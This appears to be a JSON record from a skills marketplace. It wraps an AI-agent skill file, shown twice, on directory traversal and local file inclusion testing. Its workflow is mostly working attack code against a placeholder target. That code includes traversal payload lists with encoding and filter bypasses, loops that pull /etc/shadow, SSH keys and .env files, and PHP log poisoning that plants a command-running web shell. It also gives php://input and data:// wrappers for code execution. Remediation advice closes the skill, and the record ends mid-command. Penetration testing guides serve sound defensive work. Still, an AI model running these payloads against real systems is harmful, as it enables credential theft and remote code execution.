[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6EVS25R8Q43XFC265GPD9QS":3,"skill-same:01M6EVS25R8Q43XFC265GPD9QS":106},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":26,"publishedAt":47,"linkOnly":48,"markdownContent":49,"markdownBody":50,"frontMatter":51,"refName":67,"commitSha":68,"skillDirectory":69,"forksCount":14,"repositoryHtmlUrl":70,"repositoryHomepageUrl":71,"ownerHtmlUrl":72,"ownerBlogUrl":6,"ownerDescription":73,"updatedAt":74,"install":75,"resources":88},"01M6EVS25R8Q43XFC265GPD9QS","performing-directory-traversal-testing",null,"Testing web applications for path traversal vulnerabilities that allow reading or writing arbitrary files on the server by manipulating file path parameters.","henriquescastilho\u002Fmy-claude","henriquescastilho","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F153296945?v=4","01M6ESH7EXPXTH9CVQ4K16SRG8","Henrique Scheer","01M6ESH7JHEK2PTNNH4HEH787Z",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fperforming-directory-traversal-testing\u002FSKILL.md",[18,23],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",[27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46],"directory","performing directory traversal testing","testing","t1505","penetration","de","007","files","cm","lfi","path-traversal","application-security","web-application-security","owasp","directory-traversal","server","pr","cybersecurity","security","writing","2026-11-10 10:12:30",false,"---\nname: performing-directory-traversal-testing\ndescription: Testing web applications for path traversal vulnerabilities that allow\n  reading or writing arbitrary files on the server by manipulating file path parameters.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- penetration-testing\n- directory-traversal\n- path-traversal\n- lfi\n- owasp\n- web-security\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n---\n\n# Performing Directory Traversal Testing\n\n## When to Use\n\n- During authorized penetration tests when the application handles file paths in URL parameters or request bodies\n- When testing file download, file view, or file include functionality\n- For assessing Local File Inclusion (LFI) and Remote File Inclusion (RFI) vulnerabilities\n- When evaluating template engines, logging systems, or report generators that reference files\n- During security assessments of APIs that accept file names or paths as parameters\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement for the target\n- **Burp Suite Professional**: For intercepting and modifying file path parameters\n- **ffuf**: For fuzzing file path parameters with traversal payloads\n- **dotdotpwn**: Automated directory traversal fuzzer (`apt install dotdotpwn`)\n- **SecLists**: Traversal payload wordlists from Daniel Miessler's collection\n- **curl**: For manual testing of traversal payloads\n\n## Workflow\n\n### Step 1: Identify File Path Parameters\n\nFind application endpoints that reference files through parameters.\n\n```bash\n# Common file-handling patterns to look for:\n# \u002Fdownload?file=report.pdf\n# \u002Fview?page=about.html\n# \u002Fapi\u002Ffiles?path=documents\u002Finvoice.pdf\n# \u002Ftemplate?name=header.html\n# \u002Finclude?module=sidebar\n# \u002Fimage?src=photos\u002Favatar.jpg\n# \u002Fexport?format=csv&template=default\n\n# In Burp Suite, search proxy history for file-related parameters\n# Filter by parameter names: file, path, page, template, include,\n# module, src, doc, document, folder, dir, name, filename\n\n# Test with a known valid file to establish baseline\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=report.pdf\" -o \u002Fdev\u002Fnull -w \"%{http_code} %{size_download}\"\n\n# Try referencing a file that shouldn't be accessible\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n```\n\n### Step 2: Test Basic Directory Traversal Payloads\n\nAttempt to escape the intended directory and read sensitive files.\n\n```bash\n# Linux traversal payloads\nPAYLOADS=(\n  \"..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n  \"..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n  \"..\u002F..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n  \"..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n  \"..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n  \"..%2f..%2f..%2fetc%2fpasswd\"\n  \"..%252f..%252f..%252fetc%252fpasswd\"\n  \"%2e%2e\u002F%2e%2e\u002F%2e%2e\u002Fetc\u002Fpasswd\"\n  \"....\u002F\u002F....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd\"\n  \"..;\u002F..;\u002F..;\u002Fetc\u002Fpasswd\"\n)\n\nfor payload in \"${PAYLOADS[@]}\"; do\n  echo -n \"Testing: $payload -> \"\n  response=$(curl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=$payload\")\n  if echo \"$response\" | grep -q \"root:\"; then\n    echo \"VULNERABLE\"\n  else\n    echo \"Blocked\"\n  fi\ndone\n\n# Windows traversal payloads\nWIN_PAYLOADS=(\n  \"..\\..\\..\\windows\\win.ini\"\n  \"..%5c..%5c..%5cwindows%5cwin.ini\"\n  \"..\\\u002F..\\\u002F..\\\u002Fwindows\u002Fwin.ini\"\n  \"....\\\\....\\\\....\\\\windows\\\\win.ini\"\n)\n\nfor payload in \"${WIN_PAYLOADS[@]}\"; do\n  echo -n \"Testing: $payload -> \"\n  curl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=$payload\" | head -c 100\n  echo\ndone\n```\n\n### Step 3: Apply Encoding and Filter Bypass Techniques\n\nUse various encoding schemes to bypass input validation filters.\n\n```bash\n# URL encoding bypass\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd\"\n\n# Double URL encoding\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd\"\n\n# UTF-8 encoding\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd\"\n\n# Null byte injection (PHP \u003C 5.3.4)\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=..\u002F..\u002F..\u002Fetc\u002Fpasswd%00.pdf\"\n\n# Path truncation (Windows)\n# Exceeding MAX_PATH (260 chars) to bypass extension checks\nLONG_PATH=\"..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\nfor i in $(seq 1 200); do LONG_PATH=\"${LONG_PATH}\u002F.\"; done\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=$LONG_PATH\"\n\n# Case manipulation (Windows)\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=..\\..\\..\\..\\WiNdOwS\\win.ini\"\n\n# Dot-dot-slash variations\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=....\u002F\u002F....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd\"\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=....\u002F\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n\n# Using absolute path (if filter only blocks relative traversal)\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=\u002Fetc\u002Fpasswd\"\n```\n\n### Step 4: Automate with ffuf and dotdotpwn\n\nUse automated tools for comprehensive traversal testing.\n\n```bash\n# ffuf with traversal payload list\nffuf -u \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=FUZZ\" \\\n  -w \u002Fusr\u002Fshare\u002Fseclists\u002FFuzzing\u002FLFI\u002FLFI-Jhaddix.txt \\\n  -mc 200 \\\n  -fs 0 \\\n  -t 20 -rate 50 \\\n  -o traversal-results.json -of json\n\n# dotdotpwn for systematic traversal testing\ndotdotpwn -m http-url \\\n  -u \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=TRAVERSAL\" \\\n  -k \"root:\" \\\n  -o \u002Ftmp\u002Fdotdotpwn-results.txt \\\n  -d 8 -t 200\n\n# Burp Intruder approach:\n# 1. Send request to Intruder\n# 2. Mark the file parameter value as insertion point\n# 3. Load LFI payload list from SecLists\n# 4. Add Grep Match rules for: \"root:\", \"[extensions]\", \"for 16-bit\"\n# 5. Start attack and review matches\n```\n\n### Step 5: Test Local File Inclusion (LFI) for Code Execution\n\nIf LFI is confirmed, attempt to escalate to remote code execution.\n\n```bash\n# PHP LFI to RCE via log poisoning\n# Step 1: Inject PHP code into access log\ncurl -s -A \"\u003C?php system(\\$_GET['cmd']); ?>\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002F\"\n\n# Step 2: Include the log file via LFI\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?file=..\u002F..\u002F..\u002Fvar\u002Flog\u002Fapache2\u002Faccess.log&cmd=id\"\n\n# PHP wrapper for file read (base64 encode to avoid parsing)\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?file=php:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=config.php\"\n\n# PHP wrapper for code execution\ncurl -s -X POST \\\n  -d \"\u003C?php system('id'); ?>\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fpage?file=php:\u002F\u002Finput\"\n\n# PHP data wrapper\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?file=data:\u002F\u002Ftext\u002Fplain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA\u002FPg==\"\n\n# Include \u002Fproc\u002Fself\u002Fenviron (if readable)\ncurl -s -A \"\u003C?php phpinfo(); ?>\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fpage?file=..\u002F..\u002F..\u002Fproc\u002Fself\u002Fenviron\"\n\n# Session file inclusion\n# Write PHP code into session via another parameter\n# Then include: \u002Ftmp\u002Fsess_\u003CPHPSESSID>\n```\n\n### Step 6: Read High-Value Files\n\nTarget sensitive configuration and credential files.\n\n```bash\n# Linux high-value files\nHIGH_VALUE_LINUX=(\n  \"\u002Fetc\u002Fpasswd\"\n  \"\u002Fetc\u002Fshadow\"\n  \"\u002Fetc\u002Fhosts\"\n  \"\u002Fetc\u002Fhostname\"\n  \"\u002Fproc\u002Fself\u002Fenviron\"\n  \"\u002Fproc\u002Fself\u002Fcmdline\"\n  \"\u002Fvar\u002Fwww\u002Fhtml\u002F.env\"\n  \"\u002Fvar\u002Fwww\u002Fhtml\u002Fconfig.php\"\n  \"\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-config.php\"\n  \"\u002Fhome\u002Fuser\u002F.ssh\u002Fid_rsa\"\n  \"\u002Fhome\u002Fuser\u002F.bash_history\"\n  \"\u002Froot\u002F.bash_history\"\n  \"\u002Fvar\u002Flog\u002Fauth.log\"\n)\n\nfor file in \"${HIGH_VALUE_LINUX[@]}\"; do\n  traversal=\"..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..$file\"\n  echo -n \"$file: \"\n  response=$(curl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=$traversal\")\n  if [ ${#response} -gt 10 ]; then\n    echo \"READABLE (${#response} bytes)\"\n  else\n    echo \"Not accessible\"\n  fi\ndone\n\n# Windows high-value files\nHIGH_VALUE_WIN=(\n  \"C:\\\\Windows\\\\win.ini\"\n  \"C:\\\\Windows\\\\System32\\\\drivers\\\\etc\\\\hosts\"\n  \"C:\\\\inetpub\\\\wwwroot\\\\web.config\"\n  \"C:\\\\Users\\\\Administrator\\\\.ssh\\\\id_rsa\"\n  \"C:\\\\xampp\\\\apache\\\\conf\\\\httpd.conf\"\n  \"C:\\\\xampp\\\\mysql\\\\data\\\\mysql\\\\user.MYD\"\n)\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Directory Traversal** | Using `..\u002F` sequences to navigate to parent directories and access files outside the intended path |\n| **Local File Inclusion (LFI)** | Server-side inclusion of local files, potentially leading to code execution |\n| **Remote File Inclusion (RFI)** | Including files from external URLs (requires `allow_url_include=On` in PHP) |\n| **Null Byte Injection** | Using `%00` to truncate file paths, bypassing extension checks in older PHP versions |\n| **PHP Wrappers** | Protocols like `php:\u002F\u002Ffilter`, `php:\u002F\u002Finput`, `data:\u002F\u002F` for reading and executing files |\n| **Log Poisoning** | Injecting code into log files and then including them via LFI for code execution |\n| **Path Canonicalization** | The process of resolving relative paths to absolute paths, which can be exploited |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | Request interception and Intruder for automated payload testing |\n| **ffuf** | Fast fuzzing with LFI\u002Ftraversal wordlists |\n| **dotdotpwn** | Dedicated directory traversal fuzzer with multiple traversal patterns |\n| **LFISuite** | Automated LFI exploitation tool with multiple techniques |\n| **SecLists** | Comprehensive wordlists including LFI payloads and traversal patterns |\n| **Kadimus** | LFI scanning and exploitation tool |\n\n## Common Scenarios\n\n### Scenario 1: File Download Traversal\nA document download endpoint at `\u002Fdownload?file=report.pdf` does not validate the file parameter. Replacing the value with `..\u002F..\u002F..\u002Fetc\u002Fpasswd` returns the server's password file.\n\n### Scenario 2: Template LFI to RCE\nA PHP application includes templates via `?page=home`. By poisoning the Apache access log with PHP code in the User-Agent header, then including the log file, the attacker achieves remote code execution.\n\n### Scenario 3: Image Path Traversal\nAn image resizing service accepts `?src=images\u002Fphoto.jpg`. The application strips `..\u002F` once but does not recurse, so `....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd` bypasses the filter.\n\n### Scenario 4: Windows IIS Configuration Leak\nA .NET application serves files via `?path=docs\\manual.pdf`. Traversing to `..\\..\\web.config` exposes the IIS configuration file containing database connection strings.\n\n## Output Format\n\n```\n## Directory Traversal Finding\n\n**Vulnerability**: Path Traversal \u002F Local File Inclusion\n**Severity**: High (CVSS 8.6)\n**Location**: GET \u002Fdownload?file=..\u002F..\u002F..\u002Fetc\u002Fpasswd\n**OWASP Category**: A01:2021 - Broken Access Control\n\n### Reproduction Steps\n1. Navigate to https:\u002F\u002Ftarget.example.com\u002Fdownload?file=report.pdf\n2. Replace file parameter: ?file=..\u002F..\u002F..\u002Fetc\u002Fpasswd\n3. Server returns contents of \u002Fetc\u002Fpasswd\n\n### Files Retrieved\n| File | Impact |\n|------|--------|\n| \u002Fetc\u002Fpasswd | User enumeration (42 accounts) |\n| \u002Fvar\u002Fwww\u002Fhtml\u002F.env | Database credentials exposed |\n| \u002Fhome\u002Fdeploy\u002F.ssh\u002Fid_rsa | SSH private key recovered |\n| \u002Fproc\u002Fself\u002Fenviron | Environment variables with API keys |\n\n### Filter Bypass Required\nOriginal `..\u002F` stripped by filter. Successful bypass: `....\u002F\u002F....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd`\n\n### Recommendation\n1. Use an allowlist of permitted file names rather than accepting arbitrary paths\n2. Resolve the canonical path and verify it stays within the intended directory\n3. Run the web server with minimal file system permissions\n4. Remove sensitive files from web-accessible directories\n5. Disable PHP wrappers (allow_url_include, allow_url_fopen) if not required\n```\n","# Performing Directory Traversal Testing\n\n## When to Use\n\n- During authorized penetration tests when the application handles file paths in URL parameters or request bodies\n- When testing file download, file view, or file include functionality\n- For assessing Local File Inclusion (LFI) and Remote File Inclusion (RFI) vulnerabilities\n- When evaluating template engines, logging systems, or report generators that reference files\n- During security assessments of APIs that accept file names or paths as parameters\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement for the target\n- **Burp Suite Professional**: For intercepting and modifying file path parameters\n- **ffuf**: For fuzzing file path parameters with traversal payloads\n- **dotdotpwn**: Automated directory traversal fuzzer (`apt install dotdotpwn`)\n- **SecLists**: Traversal payload wordlists from Daniel Miessler's collection\n- **curl**: For manual testing of traversal payloads\n\n## Workflow\n\n### Step 1: Identify File Path Parameters\n\nFind application endpoints that reference files through parameters.\n\n```bash\n# Common file-handling patterns to look for:\n# \u002Fdownload?file=report.pdf\n# \u002Fview?page=about.html\n# \u002Fapi\u002Ffiles?path=documents\u002Finvoice.pdf\n# \u002Ftemplate?name=header.html\n# \u002Finclude?module=sidebar\n# \u002Fimage?src=photos\u002Favatar.jpg\n# \u002Fexport?format=csv&template=default\n\n# In Burp Suite, search proxy history for file-related parameters\n# Filter by parameter names: file, path, page, template, include,\n# module, src, doc, document, folder, dir, name, filename\n\n# Test with a known valid file to establish baseline\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=report.pdf\" -o \u002Fdev\u002Fnull -w \"%{http_code} %{size_download}\"\n\n# Try referencing a file that shouldn't be accessible\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n```\n\n### Step 2: Test Basic Directory Traversal Payloads\n\nAttempt to escape the intended directory and read sensitive files.\n\n```bash\n# Linux traversal payloads\nPAYLOADS=(\n  \"..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n  \"..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n  \"..\u002F..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n  \"..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n  \"..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n  \"..%2f..%2f..%2fetc%2fpasswd\"\n  \"..%252f..%252f..%252fetc%252fpasswd\"\n  \"%2e%2e\u002F%2e%2e\u002F%2e%2e\u002Fetc\u002Fpasswd\"\n  \"....\u002F\u002F....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd\"\n  \"..;\u002F..;\u002F..;\u002Fetc\u002Fpasswd\"\n)\n\nfor payload in \"${PAYLOADS[@]}\"; do\n  echo -n \"Testing: $payload -> \"\n  response=$(curl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=$payload\")\n  if echo \"$response\" | grep -q \"root:\"; then\n    echo \"VULNERABLE\"\n  else\n    echo \"Blocked\"\n  fi\ndone\n\n# Windows traversal payloads\nWIN_PAYLOADS=(\n  \"..\\..\\..\\windows\\win.ini\"\n  \"..%5c..%5c..%5cwindows%5cwin.ini\"\n  \"..\\\u002F..\\\u002F..\\\u002Fwindows\u002Fwin.ini\"\n  \"....\\\\....\\\\....\\\\windows\\\\win.ini\"\n)\n\nfor payload in \"${WIN_PAYLOADS[@]}\"; do\n  echo -n \"Testing: $payload -> \"\n  curl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=$payload\" | head -c 100\n  echo\ndone\n```\n\n### Step 3: Apply Encoding and Filter Bypass Techniques\n\nUse various encoding schemes to bypass input validation filters.\n\n```bash\n# URL encoding bypass\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd\"\n\n# Double URL encoding\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd\"\n\n# UTF-8 encoding\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd\"\n\n# Null byte injection (PHP \u003C 5.3.4)\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=..\u002F..\u002F..\u002Fetc\u002Fpasswd%00.pdf\"\n\n# Path truncation (Windows)\n# Exceeding MAX_PATH (260 chars) to bypass extension checks\nLONG_PATH=\"..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\nfor i in $(seq 1 200); do LONG_PATH=\"${LONG_PATH}\u002F.\"; done\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=$LONG_PATH\"\n\n# Case manipulation (Windows)\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=..\\..\\..\\..\\WiNdOwS\\win.ini\"\n\n# Dot-dot-slash variations\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=....\u002F\u002F....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd\"\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=....\u002F\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd\"\n\n# Using absolute path (if filter only blocks relative traversal)\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=\u002Fetc\u002Fpasswd\"\n```\n\n### Step 4: Automate with ffuf and dotdotpwn\n\nUse automated tools for comprehensive traversal testing.\n\n```bash\n# ffuf with traversal payload list\nffuf -u \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=FUZZ\" \\\n  -w \u002Fusr\u002Fshare\u002Fseclists\u002FFuzzing\u002FLFI\u002FLFI-Jhaddix.txt \\\n  -mc 200 \\\n  -fs 0 \\\n  -t 20 -rate 50 \\\n  -o traversal-results.json -of json\n\n# dotdotpwn for systematic traversal testing\ndotdotpwn -m http-url \\\n  -u \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=TRAVERSAL\" \\\n  -k \"root:\" \\\n  -o \u002Ftmp\u002Fdotdotpwn-results.txt \\\n  -d 8 -t 200\n\n# Burp Intruder approach:\n# 1. Send request to Intruder\n# 2. Mark the file parameter value as insertion point\n# 3. Load LFI payload list from SecLists\n# 4. Add Grep Match rules for: \"root:\", \"[extensions]\", \"for 16-bit\"\n# 5. Start attack and review matches\n```\n\n### Step 5: Test Local File Inclusion (LFI) for Code Execution\n\nIf LFI is confirmed, attempt to escalate to remote code execution.\n\n```bash\n# PHP LFI to RCE via log poisoning\n# Step 1: Inject PHP code into access log\ncurl -s -A \"\u003C?php system(\\$_GET['cmd']); ?>\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002F\"\n\n# Step 2: Include the log file via LFI\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?file=..\u002F..\u002F..\u002Fvar\u002Flog\u002Fapache2\u002Faccess.log&cmd=id\"\n\n# PHP wrapper for file read (base64 encode to avoid parsing)\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?file=php:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=config.php\"\n\n# PHP wrapper for code execution\ncurl -s -X POST \\\n  -d \"\u003C?php system('id'); ?>\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fpage?file=php:\u002F\u002Finput\"\n\n# PHP data wrapper\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?file=data:\u002F\u002Ftext\u002Fplain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA\u002FPg==\"\n\n# Include \u002Fproc\u002Fself\u002Fenviron (if readable)\ncurl -s -A \"\u003C?php phpinfo(); ?>\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fpage?file=..\u002F..\u002F..\u002Fproc\u002Fself\u002Fenviron\"\n\n# Session file inclusion\n# Write PHP code into session via another parameter\n# Then include: \u002Ftmp\u002Fsess_\u003CPHPSESSID>\n```\n\n### Step 6: Read High-Value Files\n\nTarget sensitive configuration and credential files.\n\n```bash\n# Linux high-value files\nHIGH_VALUE_LINUX=(\n  \"\u002Fetc\u002Fpasswd\"\n  \"\u002Fetc\u002Fshadow\"\n  \"\u002Fetc\u002Fhosts\"\n  \"\u002Fetc\u002Fhostname\"\n  \"\u002Fproc\u002Fself\u002Fenviron\"\n  \"\u002Fproc\u002Fself\u002Fcmdline\"\n  \"\u002Fvar\u002Fwww\u002Fhtml\u002F.env\"\n  \"\u002Fvar\u002Fwww\u002Fhtml\u002Fconfig.php\"\n  \"\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-config.php\"\n  \"\u002Fhome\u002Fuser\u002F.ssh\u002Fid_rsa\"\n  \"\u002Fhome\u002Fuser\u002F.bash_history\"\n  \"\u002Froot\u002F.bash_history\"\n  \"\u002Fvar\u002Flog\u002Fauth.log\"\n)\n\nfor file in \"${HIGH_VALUE_LINUX[@]}\"; do\n  traversal=\"..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..$file\"\n  echo -n \"$file: \"\n  response=$(curl -s \"https:\u002F\u002Ftarget.example.com\u002Fdownload?file=$traversal\")\n  if [ ${#response} -gt 10 ]; then\n    echo \"READABLE (${#response} bytes)\"\n  else\n    echo \"Not accessible\"\n  fi\ndone\n\n# Windows high-value files\nHIGH_VALUE_WIN=(\n  \"C:\\\\Windows\\\\win.ini\"\n  \"C:\\\\Windows\\\\System32\\\\drivers\\\\etc\\\\hosts\"\n  \"C:\\\\inetpub\\\\wwwroot\\\\web.config\"\n  \"C:\\\\Users\\\\Administrator\\\\.ssh\\\\id_rsa\"\n  \"C:\\\\xampp\\\\apache\\\\conf\\\\httpd.conf\"\n  \"C:\\\\xampp\\\\mysql\\\\data\\\\mysql\\\\user.MYD\"\n)\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Directory Traversal** | Using `..\u002F` sequences to navigate to parent directories and access files outside the intended path |\n| **Local File Inclusion (LFI)** | Server-side inclusion of local files, potentially leading to code execution |\n| **Remote File Inclusion (RFI)** | Including files from external URLs (requires `allow_url_include=On` in PHP) |\n| **Null Byte Injection** | Using `%00` to truncate file paths, bypassing extension checks in older PHP versions |\n| **PHP Wrappers** | Protocols like `php:\u002F\u002Ffilter`, `php:\u002F\u002Finput`, `data:\u002F\u002F` for reading and executing files |\n| **Log Poisoning** | Injecting code into log files and then including them via LFI for code execution |\n| **Path Canonicalization** | The process of resolving relative paths to absolute paths, which can be exploited |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | Request interception and Intruder for automated payload testing |\n| **ffuf** | Fast fuzzing with LFI\u002Ftraversal wordlists |\n| **dotdotpwn** | Dedicated directory traversal fuzzer with multiple traversal patterns |\n| **LFISuite** | Automated LFI exploitation tool with multiple techniques |\n| **SecLists** | Comprehensive wordlists including LFI payloads and traversal patterns |\n| **Kadimus** | LFI scanning and exploitation tool |\n\n## Common Scenarios\n\n### Scenario 1: File Download Traversal\nA document download endpoint at `\u002Fdownload?file=report.pdf` does not validate the file parameter. Replacing the value with `..\u002F..\u002F..\u002Fetc\u002Fpasswd` returns the server's password file.\n\n### Scenario 2: Template LFI to RCE\nA PHP application includes templates via `?page=home`. By poisoning the Apache access log with PHP code in the User-Agent header, then including the log file, the attacker achieves remote code execution.\n\n### Scenario 3: Image Path Traversal\nAn image resizing service accepts `?src=images\u002Fphoto.jpg`. The application strips `..\u002F` once but does not recurse, so `....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd` bypasses the filter.\n\n### Scenario 4: Windows IIS Configuration Leak\nA .NET application serves files via `?path=docs\\manual.pdf`. Traversing to `..\\..\\web.config` exposes the IIS configuration file containing database connection strings.\n\n## Output Format\n\n```\n## Directory Traversal Finding\n\n**Vulnerability**: Path Traversal \u002F Local File Inclusion\n**Severity**: High (CVSS 8.6)\n**Location**: GET \u002Fdownload?file=..\u002F..\u002F..\u002Fetc\u002Fpasswd\n**OWASP Category**: A01:2021 - Broken Access Control\n\n### Reproduction Steps\n1. Navigate to https:\u002F\u002Ftarget.example.com\u002Fdownload?file=report.pdf\n2. Replace file parameter: ?file=..\u002F..\u002F..\u002Fetc\u002Fpasswd\n3. Server returns contents of \u002Fetc\u002Fpasswd\n\n### Files Retrieved\n| File | Impact |\n|------|--------|\n| \u002Fetc\u002Fpasswd | User enumeration (42 accounts) |\n| \u002Fvar\u002Fwww\u002Fhtml\u002F.env | Database credentials exposed |\n| \u002Fhome\u002Fdeploy\u002F.ssh\u002Fid_rsa | SSH private key recovered |\n| \u002Fproc\u002Fself\u002Fenviron | Environment variables with API keys |\n\n### Filter Bypass Required\nOriginal `..\u002F` stripped by filter. Successful bypass: `....\u002F\u002F....\u002F\u002F....\u002F\u002Fetc\u002Fpasswd`\n\n### Recommendation\n1. Use an allowlist of permitted file names rather than accepting arbitrary paths\n2. Resolve the canonical path and verify it stays within the intended directory\n3. Run the web server with minimal file system permissions\n4. Remove sensitive files from web-accessible directories\n5. Disable PHP wrappers (allow_url_include, allow_url_fopen) if not required\n```\n",{"name":5,"tags":52,"author":55,"domain":44,"license":15,"version":56,"nist_csf":57,"subdomain":39,"description":7,"mitre_attack":62},[53,41,37,36,40,54],"penetration-testing","web-security","mahipal","1.0",[58,59,60,61],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01",[63,64,65,66],"T1190","T1059.007","T1505.003","T1083","main","7925716f065257435fdb12e97f7e52842147d5ad",".claude\u002Fskills\u002Fperforming-directory-traversal-testing","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude","https:\u002F\u002Fclaude.com\u002Fclaude-code","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho","Software · Applied AI · Quantitative Modeling · Building with Claude.","2026-06-10 12:24:46",{"source":8,"skillName":5,"commands":76,"prompt":86,"zipAvailable":87},[77,80,83],{"tool":78,"command":79},"npx","npx skills add henriquescastilho\u002Fmy-claude --skill performing-directory-traversal-testing",{"tool":81,"command":82},"bunx","bunx skills add henriquescastilho\u002Fmy-claude --skill performing-directory-traversal-testing",{"tool":84,"command":85},"pnpm","pnpm dlx skills add henriquescastilho\u002Fmy-claude --skill 